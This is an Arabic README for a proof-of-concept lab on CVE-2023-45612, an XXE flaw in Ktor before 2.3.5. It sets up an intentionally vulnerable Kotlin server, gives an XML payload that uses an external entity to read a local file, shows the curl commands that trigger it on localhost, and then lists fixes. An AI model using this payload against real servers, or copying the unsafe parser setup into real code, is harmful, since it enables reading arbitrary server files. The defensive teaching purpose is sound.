
يوفر هذا المستودع إثبات مفهوم للثغرة CVE-2023-45612، موضِّحًا ثغرة حقن الكيانات الخارجية XML (XXE) في JetBrains Ktor في الإصدارات السابقة للإصدار 2.3.5.
يحتوي هذا المستودع على خادم Ktor ضعيف لإظهار ثغرة حقن الكيان الخارجي XML (XXE) المحددة في CVE-2023-45612.
توجد الثغرة في إصدارات Ktor قبل 2.3.5 عند استخدام إضافة ContentNegotiation مع المسلسل الافتراضي xml(). لم يتم تكوين محلل XML الافتراضي لمنع تحليل الكيانات الخارجية، مما يسمح للمهاجمين بقراءة ملفات عشوائية من الخادم.
الأقسام التالية توضح خطوات إعادة إنشاء الاستغلال بنفسك.
الإصدارات التي استخدمتها لهذا الإثبات:
أنشئ مشروع Ktor في IntelliJ IDEA مع محرك Netty وGradle Kotlin وإصدار Ktor 2.3.4 (أو إصدار أقدم).
داخل ملف build.gradle.kts ستحتاج إلى إضافة الإضافة التالية:
kotlin("plugin.serialization") version "2.2.20"
وهذه التبعيات:
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
يجب أن يحتوي ملف Application.kt على الدالة الرئيسية لبدء الخادم ودالة module() لتكوينه. بشكل افتراضي، تقوم دالة xml() بتهيئة محلل XML يسمح بمعالجة الكيانات الخارجية.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
يجب أن يحدد ملف Routing.kt نقطة النهاية التي ستستقبل وتحلل XML الضار.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
قم ببناء التطبيق وابدأ تشغيل الخادم.
./gradlew build
./gradlew run
لاختبار نقطة النهاية، أنشئ ملف XML باسم hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
يمكنك تنفيذه باستخدام الأمر curl التالي (على Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
ويجب أن تحصل على الرسالة التالية إذا نجح الأمر:
Message received: Hello, world!
أنشئ ملف secret_file.txt يحتوي على بعض النصوص. المعلومات الموجودة بداخله هي ما نريد الحصول عليه باستغلالنا.
أنشئ ملفًا باسم exploit_message.xml. يجب أن يحدد محتواه كيانًا خارجيًا &xxe; كمحتوى ملف secret_file.txt ثم استخدام هذا الكيان داخل وسم <message>.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
نفذ الأمر curl التالي (على Windows) إلى الخادم الجاري تشغيله:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
سيقرأ الخادم ملف secret_file.txt ويعيد محتوياته في استجابة HTTP:
Message received: XXE was a success.
الحل الأكثر فعالية هو تحديث Ktor إلى الإصدار 2.3.5 أو أحدث. يستخدمون محلل XML افتراضيًا تم تكوينه بشكل آمن يعطل معالجة تعريف نوع المستند والكيانات الخارجية افتراضيًا، مما يمنع هجوم XXE هذا مباشرة. بدلاً من ذلك، يمكنك أيضًا تكوين محلل XML يدويًا.
كطبقة دفاع إضافية، اقرأ نص الطلب الخام كنص عادي وارفضه إذا كان يحتوي على كلمات مفتاحية مشبوهة مثل <!DOCTYPE أو <!ENTITY قبل أن يصل إلى المحلل مطلقًا.
هذه الثغرة خاصة بتحليل XML. إذا كانت متطلبات تطبيقك مرنة، فإن التغيير الأكثر أمانًا هو تجنب XML تمامًا واستخدام تنسيق لا يحتوي على هذه الفئة من الثغرات، مثل JSON.
حاول بنشاط العثور على عيوب أمنية عن طريق فحص مكتباتك بحثًا عن ثغرات معروفة واختبار تطبيقك لاستغلالات شائعة.